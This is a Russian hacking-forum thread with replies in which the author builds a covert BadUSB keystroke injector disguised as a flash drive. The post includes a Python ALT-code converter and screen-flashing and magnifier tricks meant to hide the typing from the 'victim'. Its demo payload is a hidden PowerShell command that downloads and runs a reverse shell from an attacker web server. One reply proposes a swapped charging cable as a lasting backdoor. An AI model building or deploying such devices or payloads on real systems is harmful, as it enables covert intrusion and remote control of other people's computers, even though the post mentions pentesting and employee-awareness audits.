![]() |
Всем привет!
Представляю вашему вниманию статью из разряда “очумелые ручки”. С помощью [S]пластиковых бутылок[/S] платы с микроконтроллером Atmega32u4и паяльника сделаем BadUSB. Вот ссылки на статьи об устройстве BadUSB на нашем форуме, при разработке я их активно использовал и перерабатывал под свои нужды. Всем авторам и комментаторам спасибо. Digispark - badusb за 1$ Хочу рассказать о младшем (возможно даже отсталом и ущербном) брате Rubber Ducky - DigiSpark. codeby.net Bad USB на ATtiny 85 Всем привет. Представляю вам Bad USB на ATtiny 85. Разработчик -== Yukinoshita47/megumi-san-bad-usb Проект USB BAD или более известный как Ducky Rubber USB. Megumum usb bad - это проект, ориентированный на аппаратное хакерство от Garuda Security Hackers. Оборудование может быть... codeby.net Bad Usb или как я уток разводил, Практическое пособие по Rubber Duck Дали им звучное имя Rubber Duck. Как Вы догадались, эта порода уток ни что иное, как Bad Usb. codeby.net Учим BadUSB работать с разными раскладками клавиатуры Заглавие Всем доброго времени суток, о BadUsb, Usb Rubber Ducky и о том, как самому сделать аналог данного устройства написано уже много статей. В этой же статье мы рассмотрим решение проблемы BadUsb при работе с разными раскладками клавиатуры. В качестве инструкции по созданию своего BadUsb... codeby.net Введение Да, возможно, кого-то тема BadUSB уже подзадолбала, но я давно хотел смастерить девайс, реально похожий на флешку и не стоящий 50 баксов, как оригинальное устройство от Hak5.На выходе мы получим аккуратное устройство, похожее на флешку, имеющее на борту достаточно памяти, чтобы набрать shell-код с помощью ALT-кодов. Короче говоря - дешево, красиво, эффективно (ну, насколько это может позволить BadUSB). Себестоимость нашего устройства выйдет долларов в 6-7 без доставки компонентов и без стоимости оборудования. Подготовка Необходимые инструменты:
Итак, использовать в своем [S]рукоблудстве[/S] [S]рукожопстве[/S] проекте я буду плату, которую на просторах алиэкспресса называют Mini SS Micro. Плата имеет интересный форм-фактор, маленький размер и на борту распаян микроконтроллер Atmega32U4. Почему для устройства я выбрал плату Mini SS Micro:
https://forum.antichat.xyz/attachmen...9692711048.png Далее приведу размеры внутреннего пространства выбранного типа флешки:https://forum.antichat.xyz/attachmen...9692700187.png https://forum.antichat.xyz/attachmen...9697730776.png (Mini SS Micro vs. Pro Micro)
Собираем устройство Берём плату и ножницы по металлу и первыми делом с отрезаем боковые части в области отверстий под пайку.Далее аккуратно шлифуем напильником с двух сторон, до момента, пока плата не влезет во флешку. К сожалению, я нигде не смог найти в интернете схему этой чудо-платы, чтобы точно сказать, до какого места можно шлифовать. Однако, когда я делал своё устройство, то я старался ориентироваться на шелкографию отверстий под пайку, оставляя нетронутой часть, как показано на изображении ниже. https://forum.antichat.xyz/attachmen...9693487228.png Следующим шагом отрезаем переднюю часть платы, чтобы дорожки для подключения платы к USB были ровные и их было удобнее паять к разъему USB Type-A (не понимаю, почему китайцы их сделали разными)(Красным отмечены линии реза и последующей шлифовки) Теперь достаём паяльник, флюс и начинаем паять (я использовал глицин и какой-то китайский припой). Примеряем внешний разъем USB Type-A к нашей плате, совсем чуть-чуть лудим контакты на плате и контакты на разъеме. Далее накладываем их друг на друга и припаиваем, получается аккуратно и относительно крепко. (Для желающих погрузиться в сферу пайки крайне рекомендую вот эту серию видео, но вообще на просторах интернета полно информации про пайку, главное в этом деле больше практики) https://forum.antichat.xyz/attachmen...9694028802.png (Плата после пайки с флюсом выглядит крайне не привлекательно) Далее, можем примерить получившееся устройство в корпус от флешки, и, если всё устраивает, то я рекомендую посадить плату в корпус флешки на клей (я посадил на [S]горячие сопли[/S] термоклей и он держит отлично). Программируем наше устройство Так получилось, что пока комплектующие добирались до меня, участник форума (elrock) успел меня опередить и написать статью об использовании ALT-кодов для ввода команд латиницей при любой раскладке клавиатуры.Поэтому особо не буду вдаваться в подробности работы контроллера с ALT кодами, ссылка на статью указана в начале поста (Учим BadUSB работать с разными раскладками клавиатуры). Я же для себя подготовил простой скрипт на Python, который сначала переводит символы из строки в код символа, согласно ASCII таблице. Далее код каждого символа преобразуется в последовательность нажатий клавиш на NumPad при нажатой кнопке ALT. Команды можно вводить последовательно, главное - после ввода всех команд нажать CTRL+C, чтобы скрипт корректно сохранил код нашей функции в файл payload.txt После подготовки кода "полезной нагрузки" нам остаётся его скопировать из файла payload.txt и вставить в наш скетч. Я долго размышлял над вариантами отвлечения внимания пользователя компьютера во время набора команд. В своё время были мысли сделать скетч, который куртил-вертел изображения экрана с помощью горячих клавиш WIndows, но эту фишку убрали. Однако я нашёл ещё один вариант: с помощью комбинации клавиш WIN+CTRL+SHIFT+B мы можем перезагрузить видеодрайвер, экран погаснет секунды на 2, но возможность вводить текст с клавиатуры в это время не будет заблокировано. Поэтому я подготовил 4 варианта скетча: 1. Первый скетч - «Привет, эпилептик!». Через каждые 15 символов ввода мы будем перезагружать видеодрайвер, и экран будет «весело» моргать. После ввода «полезной нагрузки» устройство блокируем комп. Да, это не очень сильно осложнит восприятие ввода команды, будет крайне подозрительно, но оставим и такой вариант. Вдруг у пользователя частота моргания глаз войдёт в резонанс с частотой моргания экрана, тогда он точно ничего не увидит https://forum.antichat.xyz/attachmen...9695247635.png (Если не получим доступ к компьютеру, то хотя бы вызовем у жертвы мигрень!) Перед началом выполнения «полезной нагрузки» мы с помощью горячих клавиш Windows 10 включаем экранную лупу и максимально приближаем изображение. При вводе текста нашим устройством лупа переместится к экрану ввода, но увидеть можно будет только часть окна. После завершения ввода мы отключаем экранную лупу и блокируем комп. 3. Третий скетч является комбинацией первого и второго скетча, он получит кодовое название «Крот-эпилептик». Как понятно из названия, мы включаем экранную лупу, и через каждые 15 символов ввода мы будем перезагружать видеодрайвер для моргания экраном. После завершения ввода команды - выключаем экранную лупу и блокируем комп. 4. Скетч “Блиц-скорость без границ”. В этом варианте наше устройство будет просто быстро набирает команду, а потом заблокирует комп. Скучно, но работает. https://forum.antichat.xyz/attachmen...9695620514.png (Может, кто-то будет очень долго моргать и не заметит?) Также в коде, в разделе setup(), есть 2 закомментированные строки. Они отвечают за нажатие кнопки NumLock и повторное выполнение кода. Существует вероятность, что NumLock будет отключен, и тогда все наши ALT-коды не сработают, поэтому можно продублировать выполнение кода после включения NumLock. Для себя я эти строки закомментировал, но вы можете их раскомментировать. (прикреплен в конце этого поста) Переходим к демонстрации В качестве демонстрации я записал короткие видеоролики, на них показаны 2 виртуальные машины. Одна - с Win 10, другая - с Kali Linux.На Kali у нас запущен listener на порту 7997 и веб-сервер, на котором лежит текстовый файл, который содержит в себе reverse shell, написанный на PowerShell. В качестве «полезной нагрузки» для нашего устройства мы будем использовать следующую команду: Код: Код:
powershell -NoProfile -WindowStyle Hidden -c "IEX((new-object system.net.webclient).downloadstring('http://172.16.0.11/1.txt'))"Демонстрации применения готового устройства, виртуальная машина немного лагала, на живой системе всё отрабатывает быстрее. Оригинальноя Rubber Ducky от Hak5 используется свой синтаксис , но, при желании и небольшом старании, в нём можно быстро разобраться и переписать готовые скрипты для уточки в формат выполнения кода под наше устройство. Payloads оригинальной уточки можно найти тут. Заключение Я доволен результатом, готовое устройство мне нравится, выглядит хорошо, визуально не отличается от флешки.Параноиков, вскрывающих флешки перед их использованием, я никогда не встречал, поэтому это может быть интересный и относительно дешевый инструмент для пентестов или использоваться для аудита осведомленности сотрудников (об этом я расскажу в следующей статье). На просторах алиэкспресcа мной также были найдены альтернативные варианты BadUSB: Но, будем честны друг с другом, BadUSB имеет минусы, и не маленькие. Главный минус заключается в том, что любое нажатие на обычной клавиатуре, во время ввода команды устройством, с 95% вероятностью сломает "полезную нагрузку", и мы останемся [S]с дырявым ведром[/S] у разбитого корыта. Всем дочитавшим до конца спасибо за внимание! P.S. Изначально, работая над этим проектом, я хотел использовать DigiSparkс Attyny85, но всё упёрлось в недостаток памяти на микроконтроллере. |
Отличная статья
|
Спасибо за проделанную работу! Статья действительно получилась отличной.
Если бы не вы, то пришлось бы мне все это дело запихивать в здоровенный вай-фай адаптер https://forum.antichat.xyz/attachmen...0e27a6b94c.png |
на мой взгляд проще себе сразу заказать Badusb жук плохого USB-ATMEGA 32U4 макетная плата виртуальная клавиатура для Arduino | eBay, чем что-то разбирать и паять.
|
Цитата:
А первоначально были мысли использоваться полно-размерные arduino pro micro и маскироваться под внешний жесткий диск Цитата:
Так что да, под массовую закупку возможно имеет смысл брать сразу готовые устройства. С другой стороны тот вид флешек, что я предлагаю использоваться в качестве кейса для устройства, очень часто брендируют (гравируют или наклеивают названия компаний) и раздают на разных мероприятиях. Этим тоже можно воспользоваться. |
Хорошая статья, дружище!
|
Зачет) я бы добавил еще как сделать из шнура от зарядки для телефона ) сей продукт. Мысль: подменил шнурок от зарядки и у тебя стабильный бэкдор, минимум на несколько месяцев)) просто есть любители запитывать свою трубку от рабочего, домашнего компа )
проект кстати лежит на гитхабе!) |
Отличный вариант, молодец! Чисто русский подход к делу. Лично я в таких случаях испытываю гордость за нацию.
Цитата:
Цитата:
Цитата:
|
Цитата:
устройство прям самый сок, на youtube они показывали как оно собирается и программируется. а главное размеры usb вилки 1 в 1 как у оригинальных проводов. Я пока только мечтать могу о подобном устройстве своими руками Цитата:
По поводу эпоксидки хороший вариан, ппосле всех отладочных мероприятий можноззалить и забыть. Единственный вопрос,который пришёл в голову, а как микроконтроллер будет себя чувствовать под эпоксидкой. Не будет ли сильно нагреваться? |
ДА... цена конечно у них завышена, спору нет.
прошу обратить вас свой взор на этот, не скромный проект!) вроде как дешевле и не хуже) USBNinjaRRG/USBNinjaProfessional + BONUS michalmonday/supremeDuck whid-injector/WHID SpacehuhnTech/WiFiDuck |
| Время: 07:14 |